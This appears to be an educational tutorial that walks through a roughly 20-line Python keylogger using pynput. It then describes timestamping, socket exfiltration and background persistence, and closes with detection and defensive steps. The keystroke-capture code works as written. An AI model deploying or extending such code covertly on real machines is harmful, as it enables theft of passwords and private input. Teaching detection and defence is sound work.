Imagine typing your password while a hidden script logs every keystroke. That's a keylogger. In Python, a functional one fits in about 20 lines of code. That simplicity is exactly why every developer should understand how they work — not to misuse them, but to defend against them. Here's how to build a minimal, local-only keylogger for educational purposes, how it captures input, and how to detect and block similar tools on your own systems.
Why Learn About Keyloggers?
Keyloggers have been around since the 1970s and remain a persistent threat. They can be hardware-based (a tiny device plugged between the keyboard and computer) or software-based (a program that intercepts keystrokes). Understanding their mechanics helps you recognize suspicious behavior, write better monitoring scripts for your own labs, and harden your operating system against unauthorized logging.
This guide assumes you have Python 3 installed and a basic understanding of the command line. All code is intended to run on your own machine or inside a virtual machine dedicated to security testing. Never deploy a keylogger on a system you do not own.

How a Software Keylogger Works
At the operating system level, every key press generates a hardware interrupt. The OS translates that interrupt into a scan code, then into a character. A software keylogger inserts itself into this chain — either by polling the keyboard state, hooking into the event stream, or reading the input buffer.
The Python library pynput provides a clean, cross-platform way to listen to keyboard events without needing low-level system calls. It uses platform-specific backends (e.g., X11 on Linux, Core Graphics on macOS, Win32 API on Windows) but exposes a unified listener interface.
Building the Keylogger (Educational Use Only)
We will create a script that logs every key press to a text file. The script runs in the foreground so you can see exactly what it captures. To stop it, press Ctrl+C.
Step 1: Install pynput
pip install pynput
Step 2: Write the Logger
Create a file named edu_keylogger.py with the following content:
from pynput import keyboard
def on_press(key):
try:
# Write the character to a log file
with open("keystrokes.log", "a") as f:
f.write(f"{key.char}")
except AttributeError:
# Special keys (Shift, Ctrl, etc.)
with open("keystrokes.log", "a") as f:
f.write(f" [{key}] ")
# Start the listener
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
This script does three things:
- Imports the
keyboardsubmodule from pynput. - Defines a callback
on_pressthat appends each key tokeystrokes.log. - Starts an infinite listener that blocks the main thread until interrupted.
Step 3: Run and Observe
python edu_keylogger.py
Open a text editor and type a few sentences. Then stop the script with Ctrl+C and examine keystrokes.log. You will see the exact sequence of characters and special keys.
Making It More Powerful (Still Ethical)
The example above captures every key, but a real-world keylogger often includes additional features. Below are safe, educational enhancements you can add to understand how attackers might escalate their capabilities — and how to defend against them.
Timestamp Each Entry
from datetime import datetime
def on_press(key):
with open("keystrokes.log", "a") as f:
f.write(f"{datetime.now()} - {key}n")
Log to a Remote Server (Simulated)
Instead of sending data over the network, write the log to a local socket or a second file. This mimics how malware exfiltrates data. For practice, you can run a simple TCP server on localhost and modify the keylogger to send data via socket. Remember: only test on your own machine.
Run in the Background
A real keylogger often runs as a hidden process. On Linux, you can use nohup or a systemd service. On Windows, you might register it as a scheduled task. Understanding these techniques helps you audit startup items and running processes.
How to Detect a Keylogger on Your System
Now that you know how one is built, detecting one becomes much easier. Here are practical steps:
- Monitor running processes: Use
ps aux | grep pythonon Linux, Task Manager on Windows, or Activity Monitor on macOS. Look for unfamiliar Python scripts. - Check startup entries: On Linux, inspect
~/.bashrc,~/.config/autostart/, and systemd user services. On Windows, usemsconfigor Autoruns. - Look for unusual network connections: Use
netstat -tulpnor Wireshark to see if a process is sending data to an external IP. - Scan for log files: Search for files named
keylog*,*.login unexpected directories, or files with recent modification times in/tmp. - Use security tools: Run a dedicated anti-keylogger scanner or a general antivirus that includes behavioral detection.
Defensive Coding: Protecting Your Own Applications
If you are developing software that handles sensitive input (passwords, credit card numbers), you can mitigate keylogging risks by:
- Using virtual keyboards (on-screen keyboards) that bypass physical keystroke interception.
- Implementing two-factor authentication so a stolen password alone is insufficient.
- Encrypting input fields at the application level (though this does not stop a kernel-level keylogger).
- Regularly auditing your development environment for unauthorized scripts.
Legal and Ethical Boundaries
Writing a keylogger is not illegal. Using it on someone else's computer without explicit consent is. In most jurisdictions, unauthorized keylogging violates computer fraud and wiretapping laws. Always keep your experiments confined to machines you own or have written permission to test. Many cybersecurity training platforms provide safe virtual labs where you can practice these techniques legally.
Try running the script in a virtual machine, then use the detection steps above to find it. That hands-on exercise will teach you more than any theory — and the next time you see an unfamiliar process in Task Manager, you'll know exactly what to look for.
